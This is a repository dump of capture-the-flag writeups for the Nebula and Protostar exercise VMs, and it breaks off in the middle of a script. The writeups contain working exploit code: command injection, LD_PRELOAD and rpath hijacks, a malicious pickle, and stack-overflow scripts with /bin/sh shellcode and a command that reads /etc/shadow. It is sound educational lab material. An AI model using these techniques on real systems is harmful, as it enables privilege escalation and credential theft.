├── LICENSE ├── README.md ├── exploit-exercises.com ├── level08.png ├── nebula.md └── protostar.md ├── hacking-lab.com ├── 1600 ZAP Proxy Writeup.md ├── 1600 ZAP Proxy Writeup.pdf ├── 1600_snap_01.png ├── 1600_snap_02.png ├── 1600_snap_03.png ├── 1600_snap_05.png ├── 5020 Password protected ZIP Writeup.md ├── 5020 Password protected ZIP Writeup.pdf ├── 5020_snap_01.png ├── 6111 SQL Injection Attack Writeup.md ├── 6111 SQL Injection Attack Writeup.pdf └── 6111_snap_01.png ├── opensource ├── A deadlock bug fix solution for gperftools issues 775.pdf ├── patch_issue_775.patch └── redis_vul_0906_2016 │ ├── README.md │ ├── README.pdf │ ├── patch │ └── redis_vul_0906_2016.patch │ └── poc │ ├── buffer_over_read.rdb │ ├── clean.sh │ ├── install_redis.sh │ └── poc.sh ├── preparing_cuckoo.sh ├── pwnable.kr └── 01_level.md ├── sec_media └── README.md └── shellcode └── linux ├── execve ├── README.md ├── c │ ├── Makefile │ └── execve.c ├── i386 │ ├── Makefile │ └── shellcode.asm └── x64 │ ├── Makefile │ └── shellcode.asm └── system └── c ├── Makefile └── system.c /LICENSE: -------------------------------------------------------------------------------- 1 | CC0 1.0 Universal 2 | 3 | Statement of Purpose 4 | 5 | The laws of most jurisdictions throughout the world automatically confer 6 | exclusive Copyright and Related Rights (defined below) upon the creator and 7 | subsequent owner(s) (each and all, an "owner") of an original work of 8 | authorship and/or a database (each, a "Work"). 9 | 10 | Certain owners wish to permanently relinquish those rights to a Work for the 11 | purpose of contributing to a commons of creative, cultural and scientific 12 | works ("Commons") that the public can reliably and without fear of later 13 | claims of infringement build upon, modify, incorporate in other works, reuse 14 | and redistribute as freely as possible in any form whatsoever and for any 15 | purposes, including without limitation commercial purposes. These owners may 16 | contribute to the Commons to promote the ideal of a free culture and the 17 | further production of creative, cultural and scientific works, or to gain 18 | reputation or greater distribution for their Work in part through the use and 19 | efforts of others. 20 | 21 | For these and/or other purposes and motivations, and without any expectation 22 | of additional consideration or compensation, the person associating CC0 with a 23 | Work (the "Affirmer"), to the extent that he or she is an owner of Copyright 24 | and Related Rights in the Work, voluntarily elects to apply CC0 to the Work 25 | and publicly distribute the Work under its terms, with knowledge of his or her 26 | Copyright and Related Rights in the Work and the meaning and intended legal 27 | effect of CC0 on those rights. 28 | 29 | 1. Copyright and Related Rights. A Work made available under CC0 may be 30 | protected by copyright and related or neighboring rights ("Copyright and 31 | Related Rights"). Copyright and Related Rights include, but are not limited 32 | to, the following: 33 | 34 | i. the right to reproduce, adapt, distribute, perform, display, communicate, 35 | and translate a Work; 36 | 37 | ii. moral rights retained by the original author(s) and/or performer(s); 38 | 39 | iii. publicity and privacy rights pertaining to a person's image or likeness 40 | depicted in a Work; 41 | 42 | iv. rights protecting against unfair competition in regards to a Work, 43 | subject to the limitations in paragraph 4(a), below; 44 | 45 | v. rights protecting the extraction, dissemination, use and reuse of data in 46 | a Work; 47 | 48 | vi. database rights (such as those arising under Directive 96/9/EC of the 49 | European Parliament and of the Council of 11 March 1996 on the legal 50 | protection of databases, and under any national implementation thereof, 51 | including any amended or successor version of such directive); and 52 | 53 | vii. other similar, equivalent or corresponding rights throughout the world 54 | based on applicable law or treaty, and any national implementations thereof. 55 | 56 | 2. Waiver. To the greatest extent permitted by, but not in contravention of, 57 | applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and 58 | unconditionally waives, abandons, and surrenders all of Affirmer's Copyright 59 | and Related Rights and associated claims and causes of action, whether now 60 | known or unknown (including existing as well as future claims and causes of 61 | action), in the Work (i) in all territories worldwide, (ii) for the maximum 62 | duration provided by applicable law or treaty (including future time 63 | extensions), (iii) in any current or future medium and for any number of 64 | copies, and (iv) for any purpose whatsoever, including without limitation 65 | commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes 66 | the Waiver for the benefit of each member of the public at large and to the 67 | detriment of Affirmer's heirs and successors, fully intending that such Waiver 68 | shall not be subject to revocation, rescission, cancellation, termination, or 69 | any other legal or equitable action to disrupt the quiet enjoyment of the Work 70 | by the public as contemplated by Affirmer's express Statement of Purpose. 71 | 72 | 3. Public License Fallback. Should any part of the Waiver for any reason be 73 | judged legally invalid or ineffective under applicable law, then the Waiver 74 | shall be preserved to the maximum extent permitted taking into account 75 | Affirmer's express Statement of Purpose. In addition, to the extent the Waiver 76 | is so judged Affirmer hereby grants to each affected person a royalty-free, 77 | non transferable, non sublicensable, non exclusive, irrevocable and 78 | unconditional license to exercise Affirmer's Copyright and Related Rights in 79 | the Work (i) in all territories worldwide, (ii) for the maximum duration 80 | provided by applicable law or treaty (including future time extensions), (iii) 81 | in any current or future medium and for any number of copies, and (iv) for any 82 | purpose whatsoever, including without limitation commercial, advertising or 83 | promotional purposes (the "License"). The License shall be deemed effective as 84 | of the date CC0 was applied by Affirmer to the Work. Should any part of the 85 | License for any reason be judged legally invalid or ineffective under 86 | applicable law, such partial invalidity or ineffectiveness shall not 87 | invalidate the remainder of the License, and in such case Affirmer hereby 88 | affirms that he or she will not (i) exercise any of his or her remaining 89 | Copyright and Related Rights in the Work or (ii) assert any associated claims 90 | and causes of action with respect to the Work, in either case contrary to 91 | Affirmer's express Statement of Purpose. 92 | 93 | 4. Limitations and Disclaimers. 94 | 95 | a. No trademark or patent rights held by Affirmer are waived, abandoned, 96 | surrendered, licensed or otherwise affected by this document. 97 | 98 | b. Affirmer offers the Work as-is and makes no representations or warranties 99 | of any kind concerning the Work, express, implied, statutory or otherwise, 100 | including without limitation warranties of title, merchantability, fitness 101 | for a particular purpose, non infringement, or the absence of latent or 102 | other defects, accuracy, or the present or absence of errors, whether or not 103 | discoverable, all to the greatest extent permissible under applicable law. 104 | 105 | c. Affirmer disclaims responsibility for clearing rights of other persons 106 | that may apply to the Work or any use thereof, including without limitation 107 | any person's Copyright and Related Rights in the Work. Further, Affirmer 108 | disclaims responsibility for obtaining any necessary consents, permissions 109 | or other rights required for any use of the Work. 110 | 111 | d. Affirmer understands and acknowledges that Creative Commons is not a 112 | party to this document and has no duty or obligation with respect to this 113 | CC0 or use of the Work. 114 | 115 | For more information, please see 116 | 117 | 118 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # security_ctf 2 | Security Capture The Flag (CTF) competition writeups and learning notes. 3 | 4 | 1. [level_01@pwnable.kr](pwnable.kr/01_level.md) 5 | 2. [nebula@exploit-exercises.com](exploit-exercises.com/nebula.md) 6 | -------------------------------------------------------------------------------- /exploit-exercises.com/level08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/exploit-exercises.com/level08.png -------------------------------------------------------------------------------- /exploit-exercises.com/nebula.md: -------------------------------------------------------------------------------- 1 | # The Writeup for Nebula Level 2 | 3 | ## Introduction 4 | 5 | This writeup is for Nebula level in [exploit-exercises.com] (https://exploit-exercises.com/nebula/). 6 | Users can download a virtual disk file and setup a virtual machine to do exercises. The login user/password pair is nebula/nebula, which also contains the sudo permission. Regarding each level, users can apply levelXX/levelXX user/password pair to challenge each level. 7 | 8 | Regarding the emulated screen is not friendly. We can setup ssh and login remotely. However, please generate RSA and DSA key pair firstly. 9 | 10 | ``` 11 | ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key 12 | ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key 13 | service ssh restart 14 | ``` 15 | 16 | Then ssh from your local terminal. The IP address depends on your Network configuration of Virtual Box. I chose NAT mode and set port forward. 17 | 18 | ``` 19 | ssh -p 1222 nebula@127.0.0.1 20 | ``` 21 | 22 | ## Writeup 23 | 24 | ### Level00 25 | 26 | Firstly, please login as level00 with the password of level00. 27 | 28 | The mission is to find a Set User ID program that will run as the “flag00” account. 29 | 30 | After check the manual of `find` command, the command is followed. 31 | 32 | ``` 33 | find / -perm -4000 -user flag00 > result.log 34 | cat result.log 35 | ``` 36 | 37 | The aim program is `/rofs/bin/.../flag00` and the output is that `Congrats, now run getflag to get your flag!` 38 | 39 | The fullpath of the flag program is `/bin/getflag`. 40 | 41 | ### Level01 42 | The vulnerability of this level is about PATH variable in the environment. We can set current directory as PATH by command `env PATH=.`, then link `echo` to flag program. 43 | 44 | The following shell script shows the exploit process. 45 | 46 | ``` 47 | ln -s /bin/getflag echo 48 | env PATH=. /home/flag01/flag01 49 | ``` 50 | 51 | ### Level02 52 | The vulnerability of level02 is about shell command injection. 53 | 54 | The following shell script will load flag program. 55 | 56 | ``` 57 | ln -s /bin/getflag x 58 | env PATH=. USER='hacked; ./x' /home/flag02/flag02 59 | ``` 60 | 61 | ### Level03 62 | The vulnerability is about a writable crontab directory. The permission of `writable.d` is `0777`, which means any one is able to add a file in this directory. As any scripts in this directory will be executed by writable.sh, I just put a script to load flag program. 63 | 64 | The content of the script is followed. 65 | 66 | ``` 67 | #!/bin/sh 68 | /bin/getflag > /tmp/level03.log 69 | ``` 70 | 71 | After a short time (5 minutes), the script will be executed and the log file can be found. 72 | 73 | ### Level04 74 | It is not a good practice that restricting access file based on filename, because soft link can be used to bypass such control. 75 | 76 | ``` 77 | ln -s /home/flag04/token x 78 | /home/flag04/flag04 x 79 | ``` 80 | 81 | The output is `06508b5e-8909-4f38-b630-fdb148a848a2` . 82 | 83 | ### Level05 84 | In the home of user level05, `.backup` directory can be read by others. `backup-19072011.tgz` is stored in this directory. I decompressed it and found private key for ssh. 85 | 86 | The following ssh command will be used to login without password. 87 | 88 | ``` 89 | ssh -i ./id_rsa flag05@localhost 90 | ``` 91 | 92 | ### Level06 93 | The password of user `flag06` is followed UNIX style. The hash value is stored in `/etc/password`. 94 | 95 | `flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh` 96 | 97 | The hash can be cracked by John the Ripper on Kali. 98 | 99 | save user:hash into a file named test_pass.txt and apply this command to crack. 100 | 101 | `john test_pass.txt ` 102 | 103 | The output shows the password is `hello` 104 | 105 | ``` 106 | root@kali:/tmp# john test_pass.txt 107 | Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16]) 108 | hello (flag06) 109 | guesses: 1 time: 0:00:00:00 DONE (Mon Dec 21 12:18:25 2015) c/s: 74200 trying: 123456 - thebest3 110 | Use the "--show" option to display all of the cracked passwords reliably 111 | ``` 112 | 113 | ### Level07 114 | Command injection happened again. 115 | This time, I changed network mode to bridge mode. 116 | 117 | ` curl -v "http://192.168.1.224:7007/index.cgi?Host=127.0.0.1+%3b+/bin/getflag"` 118 | 119 | I inserted the second command after Host parameter. 120 | 121 | ### Level08 122 | There is a pcap file in this level. I will use Wireshark to analyse the package file. 123 | 124 | The following snapshot image shows the password of flag08 is `backd00Rmate` 125 | 126 | ![The image of snapshot in level08](level08.png) 127 | 128 | Please notice that 0x7f is DEL, which means delete previous key. 129 | 130 | ### Level09 131 | The vulnerability is about `preg_replace()` in PHP. 132 | 133 | The vulnerable line is followed. 134 | ``` 135 | $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); 136 | ``` 137 | 138 | Before PHP extract email to spam function, there is chance to execute php function. 139 | 140 | I created a file with content `[email ${${@exec(sh)}}]` 141 | 142 | The following command will get a shell. 143 | 144 | ``` 145 | /home/flag09/flag09 ./test.txt 111 146 | ``` 147 | 148 | One interesting thing is that I failed to pass `/bin/getflag` because of special character `/`. 149 | 150 | More study is needed about preg_replace vulnerability. 151 | 152 | ### Level10 153 | The vulnerability is that the `access()` and the `open()` is based on filename. I can launch a TOCTOU attack (race condition attack). Firstly, establish a soft link to a file that user level10 has read permission. Secondly, change the soft link to flag file. 154 | 155 | Launch a listener at host. 156 | ``` 157 | nc -l -k -n 192.168.1.88 18211 158 | ``` 159 | 160 | The feasible way to do a race condition attack is make `connect()` last longer. 161 | 162 | One idea is to set `iptables` drop SYN|ACK from host for a short time. In this case, program of level10 will try to resent ACK package. Then I will change the soft link to token file. After re-configurating `iptables`, the TCP connection will be finished. 163 | 164 | The commands for controlling iptables are followed. 165 | 166 | ``` 167 | # assumption client(flag10 program): 192.168.1.224, and server is 192.168.1.133 168 | 169 | iptables -L --line-numbers 170 | 171 | iptables -A OUTPUT --protocol tcp --tcp-flags ALL SYN,ACK --dst 192.168.1.224 -j DROP 172 | 173 | iptables -L --line-numbers 174 | 175 | iptables -D INPUT 1 176 | 177 | ``` 178 | 179 | Another idea is to apply raw socket programming on the server side to make a delay manually. 180 | 181 | They are just ideas. I only tried first method and succeeded. 182 | 183 | The flag is followed. 184 | 185 | `615a2ce1-b2b5-4c76-8eed-8aa5c4015c27` 186 | 187 | ### Level11 188 | An logical vulnerability is in the level11. 189 | The following encryption process is symmetric, which means decryption is the same. 190 | 191 | ``` 192 | void process(char *buffer, int length) 193 | { 194 | unsigned int key; 195 | int i; 196 | 197 | key = length & 0xff; 198 | 199 | for(i = 0; i < length; i++) { 200 | buffer[i] ^= key; 201 | key -= buffer[i]; 202 | } 203 | 204 | system(buffer); 205 | } 206 | ``` 207 | 208 | If I input Content-Length as 1, the cipher is calculated as followed.`buffer[0]^=0x01` 209 | 210 | I chose following input. 211 | 212 | ``` 213 | Content-Length: 1 214 | B 215 | ``` 216 | The command will be `C` instead. 217 | 218 | ### Level12 219 | The command injection shows again. 220 | The vulnerability is in this line. 221 | ` prog = io.popen("echo "..password.." | sha1sum", "r")` 222 | 223 | If I pass password as `4754a4f4bd5787accd33de887b9250a0691dd198 #`, the `#` will terminate the pipe command. 224 | 225 | ### Level13 226 | The vulnerability is that access control based on `getuid()` can be bypassed through LD_PRELOAD. 227 | 228 | Firstly, I compiled a fake getuid function into a shared library. 229 | 230 | The Makefile is followed. 231 | 232 | ``` 233 | all: 234 | gcc -nostdlib -fpic -shared getuid.c -o getuid.so 235 | 236 | 237 | ``` 238 | And the source code is followed. 239 | 240 | ``` 241 | #include 242 | 243 | uid_t getuid(void){ 244 | return 1000; 245 | } 246 | ``` 247 | 248 | Secondly, The LD_PRELOAD technology cannot be used directly, since the set-user-ID mode is turned on at flag13 program. However, since the token exists in the program, I will copy the original program into another place, then use LD_PRELOAD technology. 249 | 250 | ``` 251 | cp /home/flag13/flag13 . 252 | env LD_PRELOAD=/tmp/level13/getuid.so ./flag13 253 | ``` 254 | 255 | The program tells me that the token is `b705702b-76a8-42b0-8844-3adabbe5ac58` 256 | 257 | ### Level14 258 | This level tries to challenge the decryption sense. 259 | I first use number sequence, and then try alphabet sequence. 260 | 261 | ``` 262 | sh-4.2$ ./flag14 -e 263 | 012345678901234567890 264 | 02468:<>@B:<>@BDFHJLD 265 | 266 | sh-4.2$ ./flag14 -e 267 | abcdefghijklmnopqrstuvwxyz 268 | acegikmoqsuwy{}??????????$ 269 | ``` 270 | 271 | I found the encryption code is that 272 | 273 | ``` 274 | void encrypt(char* str){ 275 | int i=0; 276 | while (str[i]){ 277 | str[i]=str[i]+i; 278 | } 279 | } 280 | ``` 281 | 282 | According to the encryption code, the decryption code is that 283 | 284 | ``` 285 | #include 286 | 287 | void decrypt(char* str){ 288 | int i=0; 289 | while (str[i]){ 290 | str[i] = str[i]-i; 291 | i++; 292 | } 293 | } 294 | int main(){ 295 | char code[]="857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW."; 296 | decrypt(code); 297 | printf("%s\n",code); 298 | } 299 | ``` 300 | 301 | The output shows 302 | `8457c118-887c-4e40-a5a6-33a25353165` 303 | 304 | ### Level15 305 | The vulnerability is that rpath, which is a hard-coded value in an executable file, is writable for attackers. 306 | 307 | The following command shows rpath of a elf file. 308 | 309 | ``` 310 | sh-4.2$ readelf -d ./flag15 311 | 312 | Dynamic section at offset 0xf20 contains 21 entries: 313 | Tag Type Name/Value 314 | 0x00000001 (NEEDED) Shared library: [libc.so.6] 315 | 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] 316 | 0x0000000c (INIT) 0x80482c0 317 | ``` 318 | 319 | If I put libc.so.6 in the path `/var/tmp/flag15`, the elf will load a modified shared library. 320 | 321 | I will use nm to check which function could be used for injection malicious code. 322 | 323 | ``` 324 | sh-4.2$ nm ./flag15 | grep U 325 | U __libc_start_main@@GLIBC_2.0 326 | U puts@@GLIBC_2.0 327 | ``` 328 | 329 | I tried these two functions. However, only __libc_start_main succeeded. 330 | 331 | The content of Makefile. 332 | 333 | ``` 334 | all: 335 | gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 hook.c 336 | ``` 337 | 338 | The content of hook.c 339 | 340 | ``` 341 | #include 342 | #include 343 | 344 | int __libc_start_main(int (*main) (int, char **, char **), 345 | int argc, char *argv, void (*init) (void), void (*fini) 346 | (void), void (*rtld_fini) (void), void *stack_end) { 347 | system("/bin/getflag > /tmp/level15.log"); 348 | } 349 | ``` 350 | 351 | The content of version. 352 | 353 | ``` 354 | GLIBC_2.0{ 355 | }; 356 | ``` 357 | 358 | Finally, run command `/home/flag15/flag15`. The fog file shows the program was hacked. 359 | 360 | ``` 361 | sh-4.2$ cat /tmp/level15.log 362 | You have successfully executed getflag on a target account 363 | ``` 364 | 365 | ### Level16 366 | The command injection is in the perl script. 367 | The vulnerable code is followed. 368 | 369 | ``` 370 | sub login { 371 | $username = $_[0]; 372 | $password = $_[1]; 373 | 374 | $username =~ tr/a-z/A-Z/; # conver to uppercase 375 | $username =~ s/\s.*//; # strip everything after a space 376 | 377 | @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; 378 | foreach $line (@output) { 379 | ($usr, $pw) = split(/:/, $line); 380 | 381 | 382 | if($pw =~ $password) { 383 | return 1; 384 | } 385 | } 386 | 387 | return 0; 388 | } 389 | ``` 390 | 391 | Logically, $username will be converted to UPPERCASE. I will use `/*/X` to replace `/tmp/X`. 392 | 393 | The url is followed. 394 | 395 | `http://192.168.1.224:1616/index.cgi?username=1`/*/X`%20#&password=1` 396 | 397 | And the content of X. 398 | 399 | ``` 400 | #!/bin/sh 401 | 402 | echo hacked 403 | /bin/getflag >> /tmp/level16.log 404 | ``` 405 | 406 | ### Level17 407 | Pickle is a module in python, but it is not secure. 408 | [anapickle] (https://github.com/sensepost/anapickle) provides a very good tools to generate shellcode in pickle format. 409 | 410 | Following python code will generate pickle shellcode. 411 | 412 | ``` 413 | #!/usr/bin/env python 414 | 415 | import pickle 416 | import os 417 | import subprocess 418 | 419 | class MyShellCode(object): 420 | def __reduce__(self): 421 | return (subprocess.Popen,(('/bin/getflag > /tmp/level17.log',),0,None,None,None,None,None,False,True,None,None,False,None,0)) 422 | 423 | shellcode=pickle.dumps(MyShellCode()) 424 | 425 | print(shellcode) 426 | #test 427 | #pickle.loads(shellcode) 428 | ``` 429 | 430 | The shellcode is followed. 431 | 432 | ``` 433 | csubprocess 434 | Popen 435 | p0 436 | ((S'/bin/getflag > /tmp/level17.log' 437 | p1 438 | tp2 439 | I0 440 | NNNNNI00 441 | I01 442 | NNI00 443 | NI0 444 | tp3 445 | Rp4 446 | . 447 | ``` 448 | 449 | ### Level18 450 | This level is a little bit complex. 451 | Firstly, there is a logical problem in login function. 452 | 453 | ``` 454 | void login(char *pw) 455 | { 456 | FILE *fp; 457 | 458 | fp = fopen(PWFILE, "r"); 459 | if(fp) { 460 | char file[64]; 461 | 462 | if(fgets(file, sizeof(file) - 1, fp) == NULL) { 463 | dprintf("Unable to read password file %s\n", PWFILE); 464 | return; 465 | } 466 | fclose(fp); 467 | if(strcmp(pw, file) != 0) return; 468 | } 469 | dprintf("logged in successfully (with%s password file)\n", 470 | fp == NULL ? "out" : ""); 471 | 472 | globals.loggedin = 1; 473 | 474 | } 475 | ``` 476 | 477 | If fopen fails, user will also login sucessfully. Open files configuration in ulimit will be used to limit the maximum number of files that open progress can open. 478 | 479 | ``` 480 | sh-4.2$ ulimit -a 481 | open files (-n) 1024 482 | ``` 483 | 484 | One way is to use `ulimit -n 5` to reduce the open files. Another way is to call login several times until the program cannot open more files. 485 | 486 | Secondly, the `shell` command is to use `execve("/bin/sh", argv, envp);`. However, the argv is about this form `['/home/flag18/flag18','-d', '/tmp/level18/run.log']`, which means two things. One is that `/bin/sh` will load `flag18` again. The other is that the elf file should be read again. Some file handles should be closed before the elf file is read by OS. The attack input is like the following form. 487 | 488 | ``` 489 | login AAA 490 | login AAA 491 | login AAA 492 | ... 493 | closelog 494 | shell 495 | ``` 496 | 497 | Then the next mission is how to load malicious action when the elf is executed again. 498 | 499 | There is a parameter for `/bin/sh`. `--init-file` will be executed before the content of program is executed. 500 | 501 | After I tried following command, which is `python ex.py | /home/flag18/flag18 --rcfile -d /tmp/level18/run.log 502 | ` 503 | 504 | The content of ex.py 505 | 506 | ``` 507 | #!/usr/bin/env python 508 | 509 | out="login AAA\n"*1024+"closelog\n"+"shell" 510 | print(out) 511 | ``` 512 | 513 | The following error is shown. 514 | 515 | ``` 516 | /home/flag18/flag18: invalid option -- '-' 517 | /home/flag18/flag18: invalid option -- 'r' 518 | /home/flag18/flag18: invalid option -- 'c' 519 | /home/flag18/flag18: invalid option -- 'f' 520 | /home/flag18/flag18: invalid option -- 'i' 521 | /home/flag18/flag18: invalid option -- 'l' 522 | /home/flag18/flag18: invalid option -- 'e' 523 | /tmp/level18/run.log: line 1: Starting: command not found 524 | /tmp/level18/run.log: line 2: syntax error near unexpected token `(' 525 | /tmp/level18/run.log: line 2: `logged in successfully (without password file)' 526 | ``` 527 | 528 | I found the `/bin/sh` considers the run.log as the init-file. 529 | 530 | The final mission is to load Starting. I put current path into the PATH. And write the Starting file. 531 | 532 | ``` 533 | #!/bin/sh 534 | 535 | echo hacked 536 | /bin/getflag 537 | ``` 538 | 539 | ### Level19 540 | There is a fact that the parent process id of a daemon process is 0. 541 | 542 | I modified a sample `Fork off and die` source code to bypass this logical obstacle. 543 | 544 | ``` 545 | #include 546 | #include 547 | #include 548 | #include 549 | 550 | int main(void) 551 | { 552 | int pid = fork(); 553 | if(pid < 0) 554 | { 555 | fprintf(stderr, "Can't fork."); 556 | exit(1); 557 | } 558 | else if(pid == 0) // we are the child 559 | { 560 | printf("pid=%d,ppid=%d\n",getpid(),getppid()); 561 | setsid(); // "release" from the parent 562 | int pid2 = fork(); 563 | if (pid2 < 0) fprintf(stderr, "Can't fork after releasing.\n"); 564 | else if (pid2 > 0) exit(0); // we are the parent 565 | else { 566 | // We are now completely free and running under init. 567 | // We have to close the inherited stream descriptors to avoid deadlocks and the like. 568 | printf("pid=%d,ppid=%d\n",getpid(),getppid()); 569 | char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL}; 570 | execve("/home/flag19/flag19",args,NULL); 571 | } 572 | } 573 | else //we are the parent 574 | { 575 | exit(0); 576 | } 577 | } 578 | ``` 579 | 580 | But one more question, why fork twice in daemon? 581 | A quick answer is that this code prevents zombie processes. 582 | 583 | ## Conclusion 584 | In conclusion, this is a basic level of CTF practice. I need review the Advanced Programming in the UNIX Environment (APUE). I am not familiar with perl. Link process is another knowledge that I need learn. 585 | 586 | ## Reference 587 | 1. [Cracking Nebula Part 1] (http://unlogic.co.uk/2014/06/24/cracking-nebula-part1/) 588 | 2. [Cracking Nebula Part 2] (http://unlogic.co.uk/2014/07/02/cracking-nebula-part2/) 589 | 3. [Version Script] (http://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_25.html) 590 | 4. [Exploiting Misuse of Python's "Pickle"] (https://blog.nelhage.com/2011/03/exploiting-pickle/) 591 | 5. [Fork off and die] (http://wiki.linuxquestions.org/wiki/Fork_off_and_die) -------------------------------------------------------------------------------- /exploit-exercises.com/protostar.md: -------------------------------------------------------------------------------- 1 | # Protostar 2 | 3 | ## Stack0 4 | 5 | The source code shows that there is a significant stack overflow. When the program recvievs input from the user, gets() will not check the length of the buffer. 6 | The mission is that overwrite the variable named modified, the address of which is just 64bytes behind the address of the variable named buffer. 7 | 8 | ```ASM 9 | 080483f4
: 10 | 80483f4: 55 push %ebp 11 | 80483f5: 89 e5 mov %esp,%ebp 12 | 80483f7: 83 e4 f0 and $0xfffffff0,%esp 13 | 80483fa: 83 ec 60 sub $0x60,%esp 14 | 80483fd: c7 44 24 5c 00 00 00 movl $0x0,0x5c(%esp) 15 | 8048404: 00 16 | 8048405: 8d 44 24 1c lea 0x1c(%esp),%eax 17 | 8048409: 89 04 24 mov %eax,(%esp) 18 | 804840c: e8 fb fe ff ff call 804830c 19 | 8048411: 8b 44 24 5c mov 0x5c(%esp),%eax 20 | 8048415: 85 c0 test %eax,%eax 21 | 8048417: 74 0e je 8048427 22 | 8048419: c7 04 24 00 85 04 08 movl $0x8048500,(%esp) 23 | 8048420: e8 07 ff ff ff call 804832c 24 | 8048425: eb 0c jmp 8048433 25 | 8048427: c7 04 24 29 85 04 08 movl $0x8048529,(%esp) 26 | 804842e: e8 f9 fe ff ff call 804832c 27 | 8048433: c9 leave 28 | 8048434: c3 ret 29 | 30 | ``` 31 | 32 | We could calculate the offset will be 0x40 = 64, since the 33 | &buffer = 0x1c(%esp); 34 | &modified = 0x5c(%esp); 35 | 36 | The exploit python code is 37 | 38 | ```python 39 | #!/usr/bin/env python 40 | 41 | SH='A'*64+'XXXX' 42 | print(SH) 43 | ``` 44 | 45 | ## Stack1 46 | 47 | The exploit python code could be slightly modified for stack1 48 | 49 | ```python 50 | #!/usr/bin/env python 51 | 52 | SH='A'*64+'dcba' 53 | print(SH) 54 | ``` 55 | 56 | ## Stack2 57 | 58 | The exploit python code is: 59 | 60 | ```python 61 | #!/usr/bin/env python 62 | import sys 63 | 64 | SH='A'*64+'\x0a\x0d\x0a\x0d' 65 | sys.stdout.write(SH) 66 | ``` 67 | 68 | And the stack overflow could be constructed as : 69 | 70 | ```shell 71 | env GREENIE="`python hack.py`" /opt/protostar/bin/stack2 72 | ``` 73 | 74 | ## Stack3 75 | 76 | The disasmble code is : 77 | 78 | ```asm 79 | 08048438
: 80 | 8048438: 55 push %ebp 81 | 8048439: 89 e5 mov %esp,%ebp 82 | 804843b: 83 e4 f0 and $0xfffffff0,%esp 83 | 804843e: 83 ec 60 sub $0x60,%esp 84 | 8048441: c7 44 24 5c 00 00 00 movl $0x0,0x5c(%esp) 85 | 8048448: 00 86 | 8048449: 8d 44 24 1c lea 0x1c(%esp),%eax 87 | 804844d: 89 04 24 mov %eax,(%esp) 88 | 8048450: e8 db fe ff ff call 8048330 89 | 8048455: 83 7c 24 5c 00 cmpl $0x0,0x5c(%esp) 90 | 804845a: 74 1b je 8048477 91 | 804845c: b8 60 85 04 08 mov $0x8048560,%eax 92 | 8048461: 8b 54 24 5c mov 0x5c(%esp),%edx 93 | 8048465: 89 54 24 04 mov %edx,0x4(%esp) 94 | 8048469: 89 04 24 mov %eax,(%esp) 95 | 804846c: e8 df fe ff ff call 8048350 96 | 8048471: 8b 44 24 5c mov 0x5c(%esp),%eax 97 | 8048475: ff d0 call *%eax 98 | 8048477: c9 leave 99 | 8048478: c3 ret 100 | ``` 101 | I plan to overwrite the content of the pointor named fp with the value of win(), the address of which is 0x08048424. 102 | 103 | The following python code will exploit the program at the level. 104 | 105 | ```python 106 | #!/usr/bin/env python 107 | import sys 108 | 109 | SH='A'*64+'\x24\x84\x04\x08' 110 | sys.stdout.write(SH) 111 | ``` 112 | 113 | ## stack4 114 | 115 | I used `strace -i` to find out which offset is the return address, then I constructed the attack vector. 116 | 117 | ```python 118 | #!/usr/bin/env python 119 | import sys 120 | padding='BBBBCCCCDDDD' 121 | ret_addr='\xf4\x83\x04\x08' 122 | 123 | SH='A'*64+padding+ret_addr 124 | 125 | sys.stdout.write(SH) 126 | ``` 127 | 128 | ## stack5 129 | 130 | In this level, I found the value of esp and ebp maybe different between normal execution and gdb mode. Also /bin/sh will read from stdin, but which was redirected by command. And strace is a good tool to debug. 131 | 132 | `python stack5.py | /opt/protostar/bin/stack5` 133 | 134 | ```python 135 | #!/usr/bin/env python 136 | 137 | import sys 138 | 139 | SHELL_CODE = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 140 | NOP= "\x90" 141 | 142 | ret_addr = "\xa0\xf7\xff\xbf" # 0xbffff7a0 143 | old_ebp = "\x48\xf8\xff\xbf" #0xbffff848 144 | 145 | buff_size = 64 146 | 147 | # NOP shell_code NOP old_ebp ret_addr 148 | SH = NOP*32 + SHELL_CODE 149 | SH = SH + NOP*(buff_size-len(SH)) 150 | # and $0xfffffff0,%esp 151 | SH = SH + NOP*8 + old_ebp + ret_addr 152 | # add return char for gets() 153 | SH = SH + "\n" 154 | 155 | sys.stdout.write(SH) 156 | sys.stdout.flush() 157 | #write cmd 158 | cmd="id; cat /etc/shadow > shadow.txt" 159 | sys.stdout.write(cmd+"\n") 160 | sys.stdout.flush() 161 | 162 | ``` 163 | 164 | # stack6 165 | 166 | Because the buffer of stack starts with 0xbfXXXXXX, it will be unable to put the shellcode on the stack. 167 | 168 | The following code shows how return into libc works. Please be careful about the structure of the payload. 169 | buffer | old_ebp | system_addr | ret_addr_after_system | parameters 170 | 171 | ```python 172 | #!/usr/bin/env python 173 | 174 | import sys 175 | 176 | NOP= "\x90" 177 | 178 | ret_addr = "\xb0\xff\xec\xb7" # 0xb7ecffb0 system 179 | old_ebp = "\xff\xff\xff\xbf" # 0xbfffffff 180 | para = "\x8c\xf7\xff\xbf" # 0xbffff78c 181 | buff_size = 0x4c 182 | cmd="/usr/bin/id; echo " 183 | exit_addr = "\xc0\x60\xec\xb7" # 0xb7ec60c0 exit 184 | exit_para = "\xff\xff\xff\xff" 185 | # cmd padding old_ebp ret_addr 186 | SH = cmd 187 | SH = SH + 'A'*(buff_size-len(SH)) 188 | SH = SH + old_ebp + ret_addr + exit_addr + para 189 | # add return char for gets() 190 | SH = SH + "\n" 191 | 192 | 